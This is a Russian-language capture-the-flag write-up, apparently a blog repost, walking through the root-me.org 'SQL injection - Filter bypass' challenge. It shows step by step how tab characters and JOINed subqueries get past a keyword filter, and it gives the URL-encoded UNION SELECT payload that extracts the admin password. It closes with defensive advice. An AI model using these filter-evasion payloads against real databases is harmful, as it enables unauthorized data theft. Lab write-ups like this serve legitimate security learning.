Найти в Дзене

CTF — SQL injection - Filter bypass

Оглавление

Всем привет, сегодня захотелось решить задачку на информационную безопасность web-серверов. Обычно я по порядку решаю задачки с портала root-me.org, но сегодня вдруг заметил, что к сложным задачам я никак не приближаюсь. Пока я решаю одну задачу, добавляется парочка новых... Так не пойдёт, повышаем уровень сложности до максимума и берём самую сложную задачу, называется "SQL injection - Filter bypass". За решение задачки дают 80 баллов, уровень HARD.

-2

По названию становится понятно, что иметь дело придётся с SQL инъекцией. В описании просят вытащить пароль администратора.

SQL injection — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Атака осуществляется путём внедрения (инъекции) стороннего кода в SQL запрос.

В подсказках много ссылок на статьи по SQL инъекциям.

Ссылки

CTF — Capture The Flag

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch30/

-3

Здесь у нас форма логина, попробовал залогиниться просто так, не вышло.

Сверху ссылка "Membres", посмотрим.

-4

А вот и список пользователей:

  • admin
  • john
  • teddy

Посмотрим исходный код страницы.

-5

И находим подсказку.

<!--
// CREATE TABLE IF NOT EXISTS `membres` (
// `id` int(1) NOT NULL AUTO_INCREMENT,
// `username` VARCHAR(5) NOT NULL,
// `pass` VARCHAR(20) NOT NULL,
// `email` VARCHAR( 50 ) NOT NULL,
// PRIMARY KEY (`id`)
// ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
-->

Нам в комментарии показывают структуру таблицы membres:

  • id (int(1)
  • username VARCHAR(5)
  • pass VARCHAR(20)
  • email VARCHAR(50)

Видимо, нам у админа нужно вытащить значение столбца pass.

Нажмём на админа.

-6

Нам показывают все поля пользователя, кроме пароля. ID админа равно 1, имя пользователя admin. Проверил остальных пользователей, у них идентификаторы 2 и 3 соответственно, ничего интересного.

Обращаем внимание на URL, там идентификатор передаётся в качестве параметра. Это хорошее место для проведения инъекции. Вероятно, в итоге запрос примерно такой:

SELECT *
FROM membres
WHERE ID = 1

Или

SELECT id, username, email
FROM membres
WHERE ID = 1

Попробуем заменить 1 на NULL.

id=NULL
-7

attack detected

Обнаружена атака, значит, именно эту защиту требуется обойти. "NULL" нельзя использовать. Пробуем установить несуществующее значение id=4.

id=4
-8

no result found

Строк в таблице не найдено с таким идентификатором. Дальше пробуем.

id=4/2 — attack detected

Нельзя использовать деление или слеш.

id=2*1
-9

Можно использовать звёздочку.

id=2%20*%201 — attack detected

Нельзя использовать пробел (%20).

id=2%09*%091
-10

Зато вместо пробела можно использовать табуляцию (%09).

Попробуем выбрать несуществующий ID=4 и с помощью UNION добавить ту же таблицу. У нас должна получиться конструкция:

​SELECT * FROM membres
WHERE ID = 4 UNION ​SELECT * FROM membres
id=4%09UNION%09SELECT%09*%09FROM%09membres
-11

Прекрасно, мы ничего не выбрали, но атака не обнаружена. Значит, мы можем использовать UNION, SELECT, FROM. Дополнительно мы понимаем что в первоначальном запросе в SELECT запрашиваются все четыре поля таблицы.

Примечание, при использовании нижнего регистра тоже срабатывала зашита.

Проверим работу WHERE.

​SELECT * FROM membres
WHERE ID = 4 UNION ​SELECT * FROM membres
WHERE 1
id=4%09UNION%09SELECT%09*%09FROM%09membres%09WHERE%091 — attack detected

Большое затруднение, мы не можем использовать WHERE. Но это не единственный способ ограничить результат выборки, проверим LIMIT.

​SELECT * FROM membres
WHERE ID = 4 UNION ​SELECT * FROM membres
LIMIT 1
id=4%09UNION%09SELECT%09*%09FROM%09membres%09LIMIT%091
-12

Успех, мало того что мы можем использовать LIMIT, так нам не понадобится OFFEST, потому как нужная нам строка первая, у нас отобразились данные пользователя ADMIN.

Пробуем вместо * явно указать какие-нибудь параметры.

​SELECT * FROM membres
WHERE ID = 4 UNION ​SELECT 1,2,3,4 FROM membres
id=4%09UNION%09SELECT%091,2,3,4%09FROM%09membres — attack detected

Печально, запятая нам недоступна. Проверим JOIN и скобки.

id=4%09UNION%09SELECT%09*%09FROM%09membres%09JOIN%09SELECT%09(*)%09FROM%09membres — no result found

Отлично, можно использовать JOIN и скобки. Нам нужно составить такой запрос, который нам позволить выдернуть отдельный столбец, а не все сразу. Как раз JOIN нам поможет. Сделаем следующее:

​SELECT * FROM membres
WHERE ID = 4 UNION ​SELECT * FROM (SELECT 1)t1 JOIN (SELECT 2)t2 JOIN (SELECT 3)t3 JOIN (SELECT 4)t4
id=4%09UNION%09SELECT%09*%09FROM%09(SELECT%091)t1%09JOIN%09(SELECT%092)xt2%09JOIN%09(SELECT%093)t3%09JOIN%09(SELECT%094)t4
-13

Прекрасно, мы смогли выполнить точечную выборку и вывести её на экран. Теперь попробуем вместо email отобразить пароль первого пользователя таблицы, как мы знаем, это admin с ID=1. А в email у нас выводится четвертый столбец.

​SELECT * FROM membres
WHERE ID = 4 UNION ​SELECT * FROM (SELECT 1)t1 JOIN (SELECT 2)t2 JOIN (SELECT 3)t3 JOIN (SELECT pass FROM membres LIMIT 1)t4
id=4%09UNION%09SELECT%09*%09FROM%09(SELECT%091)t1%09JOIN%09(SELECT%092)xt2%09JOIN%09(SELECT%093)t3%09JOIN%09(SELECT%09pass%09FROM%09membres%09LIMIT%091)t4
-14

И мы получаем пароль админа, логинимся.

-15

Он и есть наш флаг. Валидируем.

-16

Флаг подходит, зарабатываем 80 очков.

Безопасность

  • Защищайтесь от SQL инъекций. Одним из хороших способов является использование "параметризированных запросов".
  • Не вся защита абсолютна, некоторые фильтры можно обойти. Я вообще не понимаю все эти механизмы защиты на основе фильтрации. Лучше писать код так, чтобы его нельзя было взломать инъекцией.
  • Не храните пароль в БД в открытом виде.
  • Не забывайте комментарии в коде.

Источник:

CTF — SQL injection - Filter bypass | internet-lab.ru

💰 Поддержать проект

Если вам понравилась статья, то ставьте 👍🏻 каналу.
Пишите комментарии, задавайте вопросы, подписывайтесь.